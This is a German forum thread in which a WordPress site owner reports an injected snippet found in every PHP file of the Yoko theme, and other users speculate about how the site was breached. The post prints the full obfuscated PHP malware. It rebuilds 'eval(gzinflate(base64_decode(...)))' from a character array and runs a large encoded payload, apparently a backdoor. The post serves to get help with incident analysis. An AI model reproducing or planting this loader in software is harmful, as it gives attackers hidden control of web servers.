Sicherheitslücke in 3.9 oder im Theme?

  • Hallo,

    heute habe ich festgestellt, dass eine meiner Seiten in jeder PHP-Datei des Themes Yoko einen Codeschnipsel hat, der da nicht hingehört. Die installation war ständig am aktuellsten Stand, von daher bin ich gerade ein wenig ratlos. Kann jemand mit diesem Codeschnipsel was anfangen?

    ?php
    $md5 = "ceddf4f3e02dc80beb186506b7db7fa2";
    $ab = array("l","f","z","s",')','b',"(",'a','e',"6",'i',"g","d",'n',"t",'$',"_","r","v","4","o","c",";");
    $bb8 = create_function('$'.'v',$ab[8].$ab[18].$ab[7].$ab[0].$ab[6].$ab[11].$ab[2].$ab[10].$ab[13].$ab[1].$ab[0].$ab[7].$ab[14].$ab[8].$ab[6].$ab[5].$ab[7].$ab[3].$ab[8].$ab[9].$ab[19].$ab[16].$ab[12].$ab[8].$ab[21].$ab[20].$ab[12].$ab[8].$ab[6].$ab[15].$ab[18].$ab[4].$ab[4].$ab[4].$ab[22]);
    $bb8('DZVHDqtaAgWX898XA3JSqwfAJRq4gMmTFpiMCSbD6vttoeqUTnlk3z/1047VN9vKP3m2lgz1v6L8TEX55x+QesqyeolQvx2LJ++zv7NvOsyxlduMMTQPfPzn4cW0nUGQsjWPofw2OLhAHrR/ZkTfmkhI+3Ro+CgqF5bD/LBD1GJIKlKO9Qdk3KWV7LaEaWz4LEATEEelqveCPdpNvjitQs1V6da8Q136FJBRNCdbomAUozSDNqfsjjoxaeiVjI3QKuybGFomUl7dpNBtMCPDbfLU2dn3XexhHIzDbfFjk8gmyujcfV1kymRUTWu28AKoXrt7CRyPrwC27tA4K+w9dEzw0JekSTlXeUT5OyYislbNz0/oWO2LyX4Im+9TIrkERd97fVG+XHrss81Zkh4S05LmDWIP2AKnPnbiH724cJJnmN79xQBOzQbNTfad6dlbFhM1XLDhWfS6veycFGO+/i47mhDiXzauRqhh/aNvJa1JNjIV1V+zk/kpNYcsiXPvUWgLtcjVZ5bqnmuHsZS/1XvjjVf+DWNXTCKbcmMYJ/xfspOe/N4JHr4U92Qep4tr7YIvNAuZLmUVY/7070grJDq9E5vElah6fCDANgiG/EfLj68KbC4PLo2m1xjACYTtVBGvYznaO+M+3lUSFpN4MCjqWXKXwhpEyHPx0ys2aHJ5G24+jXT2+E3JGv3eZDj0LI6+BiWHWo7tDz6Ccdxc0dE7ldWWnapDk1zEkR1pVdh+9LNxyJwirrcgWaQRvHmZQ1m2l76+2GhmixLCjsceWp5I3YBACUKl54T6u1/clnqNCuSKc24w8dbF8eBwkrlaX4dnfN/OqoYkcHYVIU18MZUW5nAj3/Blw8CQsC/TSZWB+hbGYo0d6cD9ip+2K/En7n0KVGP4G+Op/KqKSYZ3chNfXWTxz3R3q0fglY5DE6gxGqkHzkhzBXHqthLT2e8i+tqEjOgRzus1EvkbFLhrjWZglfLxQZ5l/3TajmB5bOfwHbw5VN2GPRl6oeVdvJD56OPmMcf1+denMQF1tD2afXsKEO6Z8B5Nu4pI+DAQPjVpiu1r/FYhxJmpp/wunqNzWOVP01nKBoanr4nzJAvuMLWwZoADjhxKj9EWW+BRnyDmhKyNTSeaKId2NrE6h4oxXtx+8AGhWAy5PGz9oY3cRB/ho4+PlQwZTfgdADq6eCQi1h+TfeSMOBTTDjcsFwA3bcdZ00VnGAH0lPrnqB5g7uPSUGdFl+YYUpyC1VFznzMKXXzI+7d2sKlHi9N4z9auJNWxlkOtBBsuiwjPUAbS1VYJufbSgGxip231QrxcwYdXYVoOe+MZJR6EVnlUcawaKEQMUopXXfwbTDY76sKvlJCQEOvJaFstz8/Yley1y2sKHLsusBfTFIXy3ThYS7Kx3/zq7O/Qeo+oPs1fl3QhQv9NryrgXy0wZTG/fpswZjsS9RwgI+Z9BP5YNwTL6VXTChMCgPEmdJ+ZVSp0AS0QitakROcxz2bKDd9qLdLJTU3Bd7RcBkcYwyiPc2BzZsFrjQUOWvjm5a4aP+POCXVUSd0rA31ymPcj0RxBHNmHlvkio/wlNnnv8NKw5n4r0E0Br6pso3BmR8cEQwjFMETXfwlzYVzTABwJrHCmv2qZ6Ry6OIoHRWqBTjYwWRXjoslhGAZKqFvfkutlHzuMmXNb2VZ/0cTO2UIUFP55kF0F1mr05TeJMOOyQL7FePnX9sNu9T63CktadxvFH+T3LXeJY1EbgTaapCa0pzWPFfzCmaZj+F3KltFoLUmq5s3FeiMeVsYktP6KJTorWRLGEtqjc6C+PAegsP8Zxsa1masUWQHhmnOoYe0U+apQhRfvnfY45ZdGIkzwiHhcmchpUrI1PGcTzaBnRqwMQvbOIAky2UsVn9pH8TP8fUPPy8+TYdPAfry3MfKIfE1noJDvrtqFZ+dE7i4sjinP7/qebkwJstjpy+nZH6VoXuS23cSG5oqaf880s9C5CP0wk/Vb5stl5mvP7JS4gANaty+L8hrvsEfv6bOoudg0gUkKkEy+EKomsFzumDVTmoQsw1m7G7XsROau2R08sqwBk3kv2TC+0EUhsU6Qv1EYnsnDjiSKolWJoufnv//8+++///k/');
    ?>

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • wäre schon besser gewesen, wenn du den Mist auch als Code deklariert hättest statt ihn hier frei zu posten...
    M.E.n. hat das weder mit dem theme noch mit wp zu tun sondern eher mit nem schlecht geschützten Serverbereich. Schätze mal: der Administrator meldet sich als admin an und das PW ist nicht der Knaller. Oder, Dein PC hat Malware/Virus. prüfe das mal als Erstes.

  • Sorry wegen der Formatierung, ich wollte das noch ändern, finde aber hier irgendwie keinen Edit-Button.

    Der Admin hat nicht das Standard-Login, das Passwort allerdings nur 10-stellig.

    Der in Frage kommende PC war zum Zeitpunkt der Änderungen an den Dateien ausgeschalten. Ich tippe also eher auf eine Infektion über PHP. Da mittlerweile gemerkt habe, dass gleichzeitig auch die PIWIK-Installation geschrottet wurde, tippe ich da auf das Problem. Ich suche mal weiter die Logs durch....

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!